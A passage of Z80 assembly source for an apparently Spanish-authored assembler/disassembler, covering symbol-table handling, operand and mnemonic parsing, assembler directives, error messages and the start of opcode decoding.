INC HL
LD A,255
CALL ELDHLA
LD HL,49152+9+11
LD A,11
CALL ELDHLA
INC HL
LD A,192
CALL ELDHLA
INC HL
LD (PUNETI),HL
RET
CPLABE LD A,(DE)
CALL ESETIQ
JR C,CPLABF
LD C,A
CALL ELDAHL
CP 255
JR NZ,CPLAB1
LD A,1
OR A
RET
CPLAB1 LD B,A
LD A,C
CP B
RET NZ
INC HL
INC DE
JR CPLABE
CPLABF LD C,A
CALL ELDAHL
CP 255
JR NZ,CPLAF1
XOR A
RET
CPLAF1 SCF
RET
CRENDX LD DE,(PUNETI)
LD HL,49152
CREND2 EX DE,HL
LD A,E
CALL ELDHLA
INC HL
LD A,D
CALL ELDHLA
INC HL
EX DE,HL
PUSH HL
LD BC,9
ADD HL,BC
CALL ELDAHL
LD C,A
INC HL
CALL ELDAHL
LD B,A
POP HL
OR A
SBC HL,BC
JR Z,CRENDF
LD H,B
LD L,C
JR CREND2
CRENDF LD (FINNDX),DE
RET
PONETI EX DE,HL
LD HL,49152
PUSH HL
PONET2 PUSH HL
LD BC,9
ADD HL,BC
CALL ELDAHL
LD C,A
INC HL
CALL ELDAHL
LD B,A
POP HL
PUSH HL
PUSH BC
PUSH DE
CALL CPLABE
POP DE
POP BC
POP HL
JR Z,PONETF
JR C,PONET8
INC SP
INC SP
PUSH HL
LD H,B
LD L,C
JR PONET2
PONETF POP HL
SCF
RET
PONET8 PUSH HL
CALL INSETI
POP DE
LD A,E
CALL ELDHLA
INC HL
LD A,D
CALL ELDHLA
LD BC,10
OR A
SBC HL,BC
EX DE,HL
POP HL
LD BC,9
ADD HL,BC
LD A,E
CALL ELDHLA
INC HL
LD A,D
CALL ELDHLA
OR A
RET
INSETI LD HL,(PUNETI)
PUSH HL
INSET1 LD A,(DE)
CP 13
JR Z,INSETF
CP 128
JR NC,INSETF
CALL ELDHLA
INC HL
INC DE
JR INSET1
INSETF LD A,255
CALL ELDHLA
POP HL
LD BC,7
ADD HL,BC
LD A,LX
CALL ELDHLA
INC HL
LD A,HX
CALL ELDHLA
INC HL
INC HL
INC HL
LD (PUNETI),HL
DEC HL
DEC HL
RET
CALETI PUSH HL
POP IX
LD HL,(FINNDX)
PUSH HL
LD DE,49152
OR A
SBC HL,DE
POP HL
JR NZ,CALET1
SCF
PUSH AF
JP CALETF
CALET1 LD DE,(PUNETI)
OR A
SBC HL,DE
CALET2 EX DE,HL
SRL D
RR E
DEC DE
LD BC,0
CALET3 LD H,D
LD L,E
PUSH HL
OR A
SBC HL,BC
POP HL
JR C,CALETR
ADD HL,BC
SRL H
RR L
PUSH HL
PUSH BC
PUSH DE
CALL CALERE
POP DE
POP BC
JR Z,CALESI
POP HL
JR C,CALET4
LD B,H
LD C,L
INC BC
JR CALET3
CALET4 LD D,H
LD E,L
DEC DE
JR CALET3
CALETR PUSH AF
JR CALETF
CALESI POP DE
OR A
PUSH AF
LD BC,7
ADD HL,BC
CALL ELDAHL
LD E,A
INC HL
CALL ELDAHL
LD D,A
CALETF LD A,(IX+0)
CALL ESETIQ
JR C,CALEF2
INC IX
JR CALETF
CALEF2 PUSH IX
POP HL
POP AF
RET
CALERE ADD HL,HL
LD DE,(PUNETI)
ADD HL,DE
CALL ELDAHL
LD C,A
INC HL
CALL ELDAHL
LD H,A
LD L,C
PUSH HL
PUSH IX
POP DE
CALL CPLABE
POP HL
RET
ESETIQ CP 48
RET C
CP 128
JR NC,ESETIF
CP 65
RET NC
CP 58
ESETIF CCF
RET
APUN LD HL,49152
LD (PUNETI),HL
LD (FINNDX),HL
LD (DIRDBI),HL
APUN2 LD HL,49152
LD (PUNDES),HL
LD (PUNDIR),HL
LD (PUNORG),HL
LD (DIRENT),HL
RET
ACOPLI LD HL,(ADIREC)
LD DE,ABUF
ACOPL1 CALL ILDAHL
INC HL
CP 13
JR Z,ACOPFI
CP 128
JR C,ACOPL2
LD B,A
LD A,255
LD (DE),A
INC DE
LD A,B
SUB 128
ACOPL2 LD (DE),A
INC DE
JR ACOPL1
ACOPFI LD (DE),A
INC DE
LD A,255
LD (DE),A
RET
APRLIN LD HL,(ALINEA)
CALL PRNUM
LD A,13
RST 16
LD HL,(ADIREC)
JP PRLIN0
APROBJ LD HL,(PUNDES)
PUSH HL
CALL PRNUM
LD A,":"
RST 16
LD DE,(BYTES)
LD HL,4
OR A
SBC HL,DE
POP HL
JR NC,APROB1
LD DE,4
APROB1 LD A,D
OR E
JR Z,APROBF
PUSH DE
PUSH HL
LD A,32
RST 16
POP HL
CALL OLDAHL
PUSH HL
CALL PRNUMA
POP HL
POP DE
INC HL
DEC DE
JR APROB1
APROBF LD A,13
RST 16
RET
ASILIS BIT 7,(IY-27)
RET Z
BIT 7,(IY-28)
RET
ACOMA LD A,(HL)
CP 34
JR NZ,ACOMA1
LD A,B
CPL
LD B,A
JR ACOM11
ACOMA1 CP ","
JR NZ,ACOM10
LD A,B
OR A
RET Z
JR ACOM11
ACOM10 CP 13
JR Z,ACOMA2
ACOM11 SCF
RET
ACOMA2 OR A
RET
ASIOP1 LD A,(HL)
CP 255
RET Z
CP 13
JR Z,ACOMA2
SCF
RET
ACOMP LD A,(DE)
CP (HL)
RET NZ
INC HL
INC DE
CP 255
RET Z
JR ACOMP
APOMAS LD HL,OP11
CALL CADIL5
JR NC,APOMA1
LD (IY-20),C
RET
APOMA1 LD (IY-19),C
RET
PONINS BIT 1,(IY-18)
JR Z,PONBYT
EX AF,AF'
LD A,(BYTES)
INC A
LD (BYTES),A
LD A,(ADES)
PUSH AF
LD A,(IX+2)
CP 203
JR NZ,PONIN1
POP AF
JR PONIN2
PONIN1 POP AF
EX AF,AF'
PONIN2 CALL PONBYT
EX AF,AF'
PONBYT BIT 7,(IY-28)
JR Z,PONBY1
CALL OLDHLA
PONBY1 INC HL
RET
AMIOP OR A
JR NZ,AMIOP1
LD A,(IX+0)
OR A
JR NZ,AMIOP0
LD A,(IX+1)
OR A
JR NZ,AMIOP0
LD A,(IX+2)
OR A
JR NZ,AMIOP0
AMIO00 LD A,1
OR A
RET
AMIOP0 XOR A
RET
AMIOP1 PUSH DE
PUSH HL
LD L,(IX+0)
LD H,(IX+1)
LD E,(IX+2)
LD D,A
AMIOP2 RR E
RR H
RR L
PUSH AF
DEC D
JR Z,AMIOP3
POP AF
JR AMIOP2
AMIOP3 POP AF
POP HL
POP DE
JR C,AMIO00
JR AMIOP0
AFINBU LD A,(DE)
INC DE
CP 255
JR NZ,AFINBU
RET
ACPSTR LD C,0
ACPST1 LD A,(DE)
OR A
JR Z,AMIO00
PUSH HL
CALL ACOMP
POP HL
RET Z
INC C
CALL AFINBU
JR ACPST1
ASOLO CP 11
JR Z,ASOL2
JR C,ASOL1
CP 13
JR Z,ASOL2
JR C,ASOL1
CP 24
JR Z,ASOL2
CP 22
RET NC
CP 14
RET Z
CP 18
RET Z
ASOL2 SCF
RET
ASOL1 OR A
RET
ADATIP CP 9
JR NC,ADATI1
CP 3
JR Z,ADATI1
CP 4
JR Z,ADATI1
JR ADATI2
ADATI1 SCF
RET
ADATI2 OR A
RET
ADAMAS CP 22
RET NC
CP 12
CCF
RET
APOPRE PUSH AF
LD A,(APREXY)
OR A
JR Z,APOPR0
CALL PONBYT
LD A,(BYTES)
INC A
LD (BYTES),A
APOPR0 LD A,(IX+2)
OR A
JR Z,APOPR1
CALL PONBYT
LD A,(BYTES)
INC A
LD (BYTES),A
POP AF
RET
APOPR1 POP AF
RET
AMA18 LD A,(IX+2)
CP 203
JR Z,AMA180
CP 237
RET Z
LD A,B
CP 192
RET NC
CP 128
CCF
RET
AMA180 SCF
RET
AMEZC PUSH BC
CALL ADAMAS
JR NC,AMEZC0
RLC C
JR AMEZC1
AMEZC0 CP 22
JR Z,AMEZC9
CP 23
JR Z,AMEZC9
AMEZ00 CALL AMA18
JR C,AMEZC2
AMEZC1 RLC C
RLC C
RLC C
AMEZC2 LD A,C
ADD A,B
POP BC
RET
AMEZC9 BIT 1,(IY-25)
JR Z,AMEZ00
LD C,3
JR AMEZ00
ASI8B CP 1
RET Z
CP 5
RET Z
CP 8
RET
ADADIS EX AF,AF'
LD A,B
CP 8
JR NZ,ADADI1
LD HL,(ADIS)
ADADI1 EX AF,AF'
RET
AINNUM PUSH BC
CALL ADADIS
PUSH HL
LD HL,(PUNDES)
CALL APOPRE
LD B,(IX+3)
CALL AMEZC
CALL PONINS
POP DE
LD A,E
CALL PONBYT
POP AF
CALL ASI8B
JR Z,AINNU2
LD A,D
CALL PONBYT
LD A,(BYTES)
ADD A,3
JR AINNU3
AINNU2 LD A,(BYTES)
ADD A,2
AINNU3 LD (BYTES),A
JP ANXTLI
ADOSMA LD A,(IY-20)
RLCA
RLCA
RLCA
ADD A,(IY-19)
ADD A,(IX+3)
LD HL,(PUNDES)
CALL APOPRE
CALL PONINS
LD A,(BYTES)
INC A
LD (BYTES),A
JP ANXTLI
AOPSOL OR A
JR Z,AOPSO1
LD HL,(AVAL1)
LD A,(IX+0)
LD C,(IY-20)
JR AOPSO2
AOPSO1 LD HL,(AVAL2)
LD A,(IX+1)
LD C,(IY-19)
AOPSO2 CALL ADATIP
JR C,AOPSO3
LD B,A
LD C,0
JP AINNUM
AOPSO3 LD HL,(PUNDES)
CALL APOPRE
LD B,(IX+3)
CALL AMEZC
CALL PONINS
LD A,(BYTES)
INC A
LD (BYTES),A
JP ANXTLI
ABUSOL LD DE,ATASO2
CALL ACPSTR
JP NZ,ABUSO1
LD L,C
LD H,0
ADD HL,HL
LD DE,ATASOL
ADD HL,DE
LD A,(HL)
INC HL
LD E,(HL)
LD D,0
PUSH IX
POP HL
ADD HL,DE
OR (HL)
LD (HL),A
JP ABUSIG
ABUSO1 PUSH HL
LD HL,ASTRDM
LD DE,(ANEMO)
CALL ACOMP
POP HL
JP Z,ABUSIG
JP ABUNUM
ANUOP1 LD HL,(ADIOP1)
ANUCAL PUSH IX
CALL VAL
POP IX
CCF
RET C
BIT 4,(IY-28)
JR Z,ANUCA2
BIT 7,(IY-28)
JR NZ,ANUCA2
LD (IX+0),207
XOR A
RET
ANUCA2 LD A,1
OR A
RET
APONUM CALL APONU0
JP ABUSIG
APONU0 LD HL,OP11
CALL CADIL5
JR NC,APONU1
LD HL,AVAL1
JR APONU2
APONU1 LD HL,AVAL2
APONU2 LD (HL),E
INC HL
LD (HL),D
RET
ANU8BI LD A,D
OR A
RET Z
CP 255
RET NZ
ANU800 LD A,E
CP 128
JR C,ANU8B1
ANU8B0 XOR A
RET
ANU8B1 LD A,1
OR A
RET
ANUDIS LD A,D
OR A
JR NZ,ANUDI1
LD A,E
OR A
JP M,ANU8B1
JR ANU8B0
ANUDI1 CP 255
JR NZ,ANU8B1
JR ANU800
AERNUM BIT 4,(IY-28)
JR Z,AERNU1
LD A,3
JP ANONE1
AERNU1 LD A,2
JP ANONE1
ABUNUM LD A,(HL)
CP "("
JR NZ,ABUNU2
INC HL
CALL ANUCAL
JR NZ,ABUNU0
LD (IX+0),48
JP ABUSIG
ABUNU0 JR NC,AERNUM
LD A,(HL)
CP ")"
JR NZ,AERNUM
SET 5,(IX+0)
CALL ANU8BI
JR NZ,ABUNU1
SET 4,(IX+0)
ABUNU1 JP APONUM
ABUNU2 CALL ANUCAL
JP Z,ABUSIG
JR NC,AERNUM
LD A,(HL)
CP ")"
JR Z,AERNUM
CALL APONU0
SET 6,(IX+0)
CALL ANU8BI
JR NZ,ABUNU3
SET 0,(IX+0)
LD A,E
CP 8
JR NC,ABUN21
SET 2,(IX+0)
LD C,E
CALL APOMAS
LD A,C
OR A
JR NZ,ABUNU3
ABUN21 RRCA
JR C,ABUNU3
RRCA
JR C,ABUNU3
RRCA
JR C,ABUNU3
CP 8
JR NC,ABUNU3
SET 3,(IX+0)
LD C,A
CALL APOMAS
ABUNU3 LD HL,(PUNDIR)
INC HL
INC HL
OR A
PUSH DE
EX DE,HL
SBC HL,DE
LD A,L
LD (ADIS),A
EX DE,HL
CALL ANUDIS
POP DE
JP NZ,ABUSIG
SET 7,(IX+0)
JP ABUSIG
ASIQUI PUSH HL
LD A,C
OR A
JR Z,ASIQU2
INC HL
LD (HL),255
ASIQU2 POP DE
RET
APOHL LD A,C
OR A
JR NZ,APOHL1
LD BC,2
LD HL,ASTRHL
JR APOHL2
APOHL1 DEC A
ADD A,A
LD L,A
LD H,0
LD BC,ASTRH
ADD HL,BC
LD BC,1
APOHL2 LDIR
RET
AFIN0 CALL PRCOD
CALL PRINEN
AFIN XOR A
JP PONTEX
ALEVAL LD A,(HL)
CP ","
JR NZ,ALEVA1
INC HL
ALEVA1 LD A,(HL)
CP 255
JR NZ,ALEVA2
INC HL
LD A,(HL)
CP 255
JR Z,ALEVFI
ALEVA2 CALL ANUCAL
JR Z,ALEVSI
RET NC
ALEVSI LD A,1
OR A
SCF
RET
ALEVFI XOR A
RET
APONDP BIT 5,(IY-27)
RET Z
BIT 7,(IY-28)
RET NZ
LD A,D
OR E
RET Z
CALL BTXTUS
CP 2
RET Z
LD HL,(ADIREC)
CALL BACT
OR A
JR Z,APOND1
LD DE,49152
OR A
SBC HL,DE
APOND1 EX DE,HL
LD A,23
LD (NUMPAG+1),A
LD HL,(DIRDBI)
LD A,C
CALL PONBYM
LD A,B
CALL PONBYM
LD A,E
CALL PONBYM
LD A,D
CALL PONBYM
LD (DIRDBI),HL
JP ACTPAG
PONBYM CALL ILDHLA
INC HL
RET
PRPASE CALL PRIMES
DEFM "#Pass @"
LD A,(IY-28)
RLCA
AND 1
INC A
JP PRNUMA
PRPAER CALL PRPASE
CALL PRIMES
DEFM ", Errors @"
LD HL,(AERRS)
CALL PRNUM
LD A,13
RST 16
RET
AINICI CALL PRSPED
CALL PRCPYR
RES 7,(IY-28)
RES 5,(IY-27)
CALL APUN
CALL INIETI
LD HL,0
LD (AERRS),HL
AINIC0 RES 7,(IY-27)
XOR A
CALL PONTEX
CALL PRPASE
LD A,13
RST 16
AINIC2 LD HL,1
LD (ALINEA),HL
CALL PRIMES
DEFM "#Text"
DEFM " block @"
CALL BACT
CALL PRNUMA
LD A,13
RST 16
ABUC XOR A
LD (ERROR),A
LD (AOPE),A
LD (APREXY),A
LD H,A
LD L,A
LD (OP11),HL
LD (OP13),HL
LD (OP22),HL
LD (BYTES),HL
LD A,(IY-18)
AND %11111100
LD (IY-18),A
RES 6,(IY-28)
BIT 1,(IY-17)
JR NZ,ABUC21
LD HL,(ADIREC)
CALL CADIL4
JR NC,ABUC2
CALL NUMTEX
LD B,A
CALL BACT
CP B
JR Z,ABUC1
INC A
CALL PONTEX
JR AINIC2
ABUC1 CALL PRPAER
BIT 7,(IY-28)
JP NZ,AFIN0
LD HL,(AERRS)
LD A,H
OR L
JP NZ,AFIN
SET 7,(IY-28)
CALL CRENDX
CALL PRTAB
CALL PRDEB
CALL APUN2
JP AINIC0
ABUC2 CALL ACOPLI
LD (ASIGDI),HL
ABUC21 LD HL,ABUF
LD A,(HL)
CP ";"
JP Z,ANXTLI
CP 13
JP Z,ANXTLI
CP 255
JR Z,ANOETI
SET 6,(IY-28)
LD HL,(PUNDIR)
LD (ETINUM),HL
LD HL,ABUF
ABUC3 INC HL
LD A,(HL)
CP 13
JP Z,ANXTLI
CP 255
JR Z,ANOETI
JR ABUC3
ANOETI INC HL
LD (ANEMO),HL
ANOET0 CALL ASIOP1
INC HL
JR C,ANOET0
JR NZ,ANOOPE
LD A,1
LD (AOPE),A
LD (ADIOP1),HL
LD B,0
ANOET1 CALL ACOMA
INC HL
JR C,ANOET1
JR NZ,ANOOPE
LD A,2
LD (AOPE),A
LD (ADIOP2),HL
DEC HL
LD (HL),255
INC HL
ANOET2 CALL ASIOP1
INC HL
JR C,ANOET2
ANOOPE DEC HL
LD (HL),255
LD A,(AOPE)
OR A
JP Z,ABUNEM
LD IX,OP11
LD (APASO),A
LD HL,(ADIOP1)
ABUOPE LD DE,ASTRSP
PUSH HL
CALL ACOMP
POP HL
JR NZ,ABUOP1
SET 4,(IX+1)
SET 3,(IX+1)
ABUOP0 LD C,3
CALL APOMAS
JP ABUSIG
ABUOP1 LD DE,ASTRX
CALL ACPSTR
JR NZ,ABUO15
LD A,221
LD (APREXY),A
PUSH HL
CALL ASIQUI
CALL APOHL
POP HL
JR ABUO19
ABUO15 LD DE,ASTRY
CALL ACPSTR
JR NZ,ABUO16
LD A,253
LD (APREXY),A
PUSH HL
CALL ASIQUI
CALL APOHL
POP HL
JR ABUO19
ABUO16 LD A,(HL)
CP "("
JR NZ,ABUO19
PUSH HL
INC HL
LD A,(HL)
CP "I"
JR NZ,ABUO18
INC HL
LD A,(HL)
CP "X"
JR Z,ABUO17
CP "Y"
JR NZ,ABUO18
LD C,253
JR ABO170
ABUO17 LD C,221
ABO170 INC HL
LD A,(HL)
CP "+"
JR Z,ABO171
CP "-"
JR Z,ABO171
CP ")"
JR NZ,ABUO18
LD A,C
LD (APREXY),A
POP DE
JR ABO173
ABO171 LD A,C
LD (APREXY),A
CALL ANUCAL
POP BC
JR Z,ABO172
JP NC,AERNUM
CALL ANUDIS
JP NZ,AERDES
ABO172 LD A,(HL)
CP ")"
JP NZ,AERNUM
INC HL
LD A,(HL)
CP 255
JP NZ,AERNUM
LD A,E
LD (ADES),A
SET 1,(IY-18)
LD D,B
LD E,C
ABO173 PUSH DE
LD HL,ASTRH2
LD BC,5
LDIR
ABUO18 POP HL
ABUO19 LD DE,ASTRAF
PUSH HL
CALL ACOMP
POP HL
JR NZ,ABUOP2
SET 0,(IX+2)
SET 5,(IX+1)
JP ABUOP0
ABUOP2 LD DE,ASTR8B
CALL ACPSTR
JR NZ,ABUOP3
PUSH HL
CALL APOMAS
POP HL
SET 1,(IX+1)
LD A,C
CP 1
JR NZ,ABUO21
SET 5,(IX+2)
SET 6,(IX+2)
ABUO21 CP 6
JR NC,ABUOP7
JR ABUSIG
ABUOP3 LD DE,ASTR16
CALL ACPSTR
JR NZ,ABUOP4
PUSH HL
CALL APOMAS
POP HL
SET 3,(IX+1)
SET 5,(IX+1)
LD A,C
OR A
JR NZ,ABUOP7
JR ABUSIG
ABUOP4 LD DE,ASTRCO
CALL ACPSTR
JR NZ,ABUOP5
CALL APOMAS
SET 6,(IX+2)
LD A,C
CP 4
JR NC,ABUSIG
SET 5,(IX+2)
JR ABUSIG
ABUOP5 LD DE,ASTRBC
CALL ACPSTR
JR NZ,ABUOP6
CALL APOMAS
SET 1,(IX+2)
JR ABUSIG
ABUOP6 LD DE,ASTRIR
CALL ACPSTR
JR NZ,ABUOP7
CALL APOMAS
SET 0,(IX+1)
JR ABUSIG
ABUOP7 JP ABUSOL
ABUSIG LD IX,OP21
LD HL,(ADIOP2)
LD A,(APASO)
DEC A
LD (APASO),A
JP NZ,ABUOPE
ABUNEM LD HL,(ANEMO)
LD DE,ATABLA
ABUNE1 LD A,(DE)
CP 255
JP Z,ABUPSE
PUSH HL
CALL ACOMP
JR Z,ABUNE2
CALL AFINBU
LD A,(DE)
INC DE
LD L,A
LD H,0
ADD HL,HL
ADD HL,HL
ADD HL,DE
EX DE,HL
POP HL
JR ABUNE1
ABUNE2 POP HL
LD A,(DE)
LD B,A
INC DE
ABUNE3 LD IX,OP11
LD A,(DE)
CALL AMIOP
JR NZ,ABUNE4
INC DE
INC DE
INC DE
INC DE
ABUNE0 DJNZ ABUNE3
JP AEROPE
ABUNE4 LD IX,OP21
INC DE
LD A,(DE)
CALL AMIOP
JR NZ,ABUNE5
INC DE
INC DE
INC DE
JR ABUNE0
ABUNE5 DEC DE
PUSH DE
POP IX
LD A,(DE)
OR A
JP Z,ANOMAS
CALL ASOLO
JR NC,ANSOL1
INC DE
LD A,(DE)
OR A
JR Z,ANOMAS
CALL ASOLO
JR C,ANOMAS
XOR A
JP AOPSOL
ANSOL1 INC DE
LD A,(DE)
CALL ASOLO
JR NC,ANSOL2
LD A,1
JP AOPSOL
ANSOL2 DEC DE
LD A,(DE)
CALL ADATIP
JR NC,ANMA1
INC DE
LD A,(DE)
OR A
JR Z,ANOOP2
CALL ADATIP
JP C,ADOSMA
LD HL,(AVAL2)
LD A,(DE)
LD B,A
DEC DE
LD A,(DE)
LD C,(IY-20)
JP AINNUM
ANOOP2 DEC DE
LD A,(DE)
LD C,(IY-20)
LD HL,(PUNDES)
CALL APOPRE
LD B,(IX+3)
CALL AMEZC
CALL PONINS
LD A,(BYTES)
INC A
LD (BYTES),A
JR ANXTLI
ANMA1 LD HL,(AVAL1)
LD C,(IY-19)
LD A,(DE)
LD B,A
INC DE
LD A,(DE)
OR A
JP NZ,AINNUM
DEC DE
LD A,(DE)
LD C,0
JP AINNUM
ANOMAS PUSH IX
POP DE
INC DE
INC DE
LD HL,(PUNDES)
CALL APOPRE
INC DE
LD A,(DE)
CALL PONBYT
LD A,(BYTES)
INC A
LD (BYTES),A
ANXTLI CALL ASILIS
JR Z,ANXTL2
BIT 1,(IY-17)
JR NZ,ANXTL2
CALL APRLIN
ANXTL2 LD A,(ERROR)
OR A
JR Z,ANXTL5
BIT 1,(IY-17)
JR NZ,ANXTL4
BIT 7,(IY-28)
JR Z,ANXTL3
BIT 7,(IY-27)
JR NZ,ANXTL4
ANXTL3 PUSH AF
CALL APRLIN
POP AF
ANXTL4 CALL APRERR
LD HL,(AERRS)
INC HL
LD (AERRS),HL
CALL ESPTEC
CP 199
RET Z
JR ANXT00
ANXTL5 BIT 6,(IY-28)
JR Z,ANXTL6
BIT 7,(IY-28)
JR NZ,ANXTL6
LD HL,ABUF
LD IX,(ETINUM)
CALL PONETI
JR NC,ANXTL6
LD A,8
LD (ERROR),A
JR ANXTL3
ANXTL6 CALL ASILIS
JR Z,ANXT00
CALL APROBJ
ANXT00 LD DE,(BYTES)
LD HL,(PUNDES)
LD B,H
LD C,L
ADD HL,DE
LD (PUNDES),HL
LD HL,(PUNDIR)
ADD HL,DE
LD (PUNDIR),HL
CALL APONDP
LD HL,(ASIGDI)
LD (ADIREC),HL
LD HL,(ALINEA)
INC HL
LD (ALINEA),HL
BIT 1,(IY-17)
RET NZ
BIT 5,(IY-17)
RET NZ
JP ABUC
ABUSCO LD A,(HL)
CP ","
RET Z
CP 255
RET Z
INC HL
JR ABUSCO
ADEFBE POP AF
POP BC
POP AF
LD A,5
JP ANONE1
ADEFE2 POP AF
JP AERNUM
ADEFB LD HL,(ADIOP1)
LD BC,(PUNDES)
XOR A
ADEFB1 PUSH AF
PUSH BC
CALL ALEVAL
PUSH AF
BIT 4,(IY-28)
JR Z,ADEB11
CALL ABUSCO
JR ADEFB2
ADEB11 CALL ANU8BI
JR NZ,ADEFBE
ADEFB2 POP AF
POP BC
JR Z,ADEFBF
JP NC,ADEFE2
PUSH HL
LD H,B
LD L,C
LD A,E
CALL PONBYT
LD B,H
LD C,L
POP HL
POP AF
INC A
JR ADEFB1
ADEFBF POP AF
JR ADEFW0
ADEFW LD HL,(ADIOP1)
LD BC,(PUNDES)
XOR A
ADEFW1 PUSH AF
PUSH BC
CALL ALEVAL
PUSH AF
BIT 4,(IY-28)
JR Z,ADEW11
CALL ABUSCO
ADEW11 POP AF
POP BC
JR Z,ADEFWF
JP NC,ADEFE2
PUSH HL
LD H,B
LD L,C
LD A,E
CALL PONBYT
LD A,D
CALL PONBYT
LD B,H
LD C,L
POP HL
POP AF
INC A
INC A
JR ADEFW1
ADEFWF POP AF
ADEFW0 JR ADEFM2
ADEFM LD DE,(ADIOP1)
LD A,(DE)
CP 34
JP NZ,AERCOM
LD HL,(PUNDES)
LD C,0
ADEFM1 INC DE
LD A,(DE)
CP 255
JP Z,AERCOM
CP 34
JR Z,ADEFMF
CALL PONBYT
INC C
JR ADEFM1
ADEFMF LD A,C
ADEFM2 LD (BYTES),A
JR AEQU1
AEQU CALL ANUOP1
JP NC,AERNUM
AEQU0 LD (ETINUM),DE
AEQU1 JP ANXTLI
ADEFS CALL ANUOP1
JP NC,AERNUM
LD (BYTES),DE
JR AEQU1
AENT CALL ANUOP1
JP NC,AERNUM
LD (PUNDIR),DE
LD (DIRENT),DE
JR AEQU0
ALSTM SET 7,(IY-27)
JR AEQU1
ALSTN RES 7,(IY-27)
JR AEQU1
AORG CALL ANUOP1
JP NC,AERNUM
LD (PUNORG),DE
LD (PUNDES),DE
JR AEQU1
ADPRM SET 5,(IY-27)
JR AEQU1
ADPRN RES 5,(IY-27)
JR AEQU1
ABUPSE LD DE,ATAPSE
ABUPS1 CALL ACPSTR
JR NZ,ANONEM
LD L,C
LD H,0
ADD HL,HL
LD DE,ATAPS1
ADD HL,DE
LD A,(HL)
INC HL
LD H,(HL)
LD L,A
JP (HL)
ANONEM LD A,7
ANONE1 LD (ERROR),A
JP ANXTLI
AEROPE LD A,1
JR ANONE1
AERCOM LD A,4
JR ANONE1
AERDES LD A,6
JR ANONE1
APRERR LD HL,STRERR
DEC A
CALL DPRCAD
LD A,13
RST 16
RET
STRERR DEFM "Invalid operand"
DEFM "/ out of range"
DEFB 255
DEFM "Num. Syntax Err"
DEFB 255
DEFM "Undefined Symbol"
DEFB 255
DEFM "Missing Quotes"
DEFB 255
DEFM "DEFB out of range"
DEFB 255
DEFM "Range too big"
DEFB 255
DEFM "Unknown mnemonic"
DEFB 255
DEFM "Symbol exists"
DEFB 255
DINCBY LD A,(BYTES)
INC A
LD (BYTES),A
RET
DNUMOP CP 9
JR NZ,DNUMO0
DNUM00 LD A,1
RET
DNUMO0 CP 18
JR Z,DNUM00
DNUMO1 CP 12
JR NC,DNUMO2
DNUM11 LD A,7
RET
DNUMO2 CP 15
JR NC,DNUMO3
DNUM21 LD A,3
RET
DNUMO3 CP 23
JR NC,DNUM11
JR DNUM21
DDAMAS EX AF,AF'
LD A,(IX+2)
CP 203
JR NZ,DDAMA2
DDAMA1 LD A,%11111000
RET
DDAMA2 CP 237
JR Z,DDAMA6
LD A,(IX+3)
CP 192
JR NC,DDAMA6
CP 64
JR C,DDAMA6
LD A,%11111000
RET
DDAMA6 EX AF,AF'
DDAM61 PUSH AF
CALL DNUMOP
CPL
RLCA
RLCA
RLCA
EX AF,AF'
POP AF
CALL ADAMAS
JR NC,DDAM62
EX AF,AF'
RLCA
RET
DDAM62 EX AF,AF'
RET
DIN2BY LD A,(BYTES+1)
INC A
LD (BYTES+1),A
RET
DLEEOP CALL ADATIP
JR C,DLEEO1
PUSH AF
CALL DIN2BY
POP AF
CALL ASI8B
JR Z,DLEEOC
CALL DIN2BY
DLEEOC SCF
RET
DLEEO1 CALL ASOLO
RET C
CALL DDAMAS
OR A
RET
DPNOAS PUSH HL
LD (DDIRIN),HL
SET 0,(IY-17)
CALL DPRAF0
POP HL
RET
DPRASM RES 0,(IY-17)
LD (DDIRIN),HL
BIT 6,(IY-18)
JR Z,DPRAS0
PUSH HL
LD HL,(DIRDBI)
LD DE,49152
CALL CODEHL
POP HL
JR Z,DPRAS0
LD A,23
LD (NUMPAG+1),A
PUSH HL
CALL DBUDPR
POP HL
JR C,DPRAS0
PUSH DE
EX DE,HL
LD DE,16384
OR A
SBC HL,DE
POP HL
JR NC,DPRAS1
LD DE,49152
ADD HL,DE
LD A,22
JR DPRAS2
DPRAS1 LD A,16
DPRAS2 LD (NUMPAG+1),A
CALL PRLIN0
CALL ACTPAG
JR DPRASF
DPRAS0 OR A
JR DPRAF1
DPRASF LD HL,(DDIRIN)
DPRAF0 SCF
DPRAF1 PUSH AF
LD A,1
LD (BYTES),A
DEC A
LD (BYTES+1),A
LD (DPREF),A
LD (APREXY),A
RES 7,(IY-18)
CALL OLDAHL
CP 118
JP Z,DPASHT
CP 221
JR Z,DPAS0
CP 253
JR NZ,DPAS1
DPAS0 LD (APREXY),A
INC HL
CALL DINCBY
CALL OLDAHL
DPAS1 CP 237
JR Z,DPAS2
CP 203
JR NZ,DPAS3
DPAS2 LD (DPREF),A
CP 203
JR NZ,DPAS21
LD A,(APREXY)
OR A
JR Z,DPAS21
INC HL
CALL OLDAHL
LD (ADES),A
SET 7,(IY-18)
DPAS21 INC HL
CALL DINCBY
DPAS3 CALL OLDAHL
LD C,A
INC HL
CALL OLDAHL
LD E,A
INC HL
CALL OLDAHL
LD D,A
LD (AVAL1),DE
DEC HL
DEC HL
;AQUI: C=CODIGO DE INSTRUCCION
; HL=DIRECC. DE INSTRUCC.
LD DE,ATABLA
DPASBU PUSH DE
LD A,(DE)
CP 255
JP Z,DPASBF
CALL AFINBU
LD A,(DE)
LD B,A
INC DE
PUSH DE
POP IX
LD A,(DPREF)
LD E,A
DPASB1 XOR A
LD (BYTES+1),A
LD A,(IX+2)
CP E
JR NZ,DPASB0
LD A,(IX+0)
OR A
JR NZ,DPASB2
DPAB11 LD A,255
JR DCOMP
DPASB2 CALL DLEEOP
LD (AMAOP1),A
PUSH AF
LD A,(IX+1)
OR A
JR NZ,DPASB3
POP AF
JR NC,DCOMP
JR DPAB11
DPASB3 CALL DLEEOP
LD (AMAOP2),A
JR NC,DPASB4
POP AF
JR C,DPAB11
JR DCOMP
DPASB4 LD D,A
POP AF
JR C,DPASB5
LD (IY-20),%11000111
LD (IY-19),%11111000
LD A,%11000000
JR DCOMP
DPASB5 LD A,D
DCOMP AND C
CP (IX+3)
JR Z,DPASF1
DPASB0 INC IX
INC IX
INC IX
INC IX
DJNZ DPASB1
POP DE
PUSH IX
POP DE
JR DPASBU
DPASHT LD DE,DHALT
JR DPASF2
DPASF1 POP DE
JR DPRAF2
DPASBF POP DE
LD DE,DNOP
DPASF2 LD IX,DNOP2
DPRAF2 LD A,(APREXY)
OR A
JR Z,DPRA27
LD A,C
AND %11000111
CP %01000110
JR NZ,DPRA21
DPRA20 SET 7,(IY-18)
JR DPRA27
DPRA21 LD A,C
AND %11111000
CP %01110000
JR Z,DPRA20
LD A,(IX+0)
CP 10
JR NZ,DPRA27
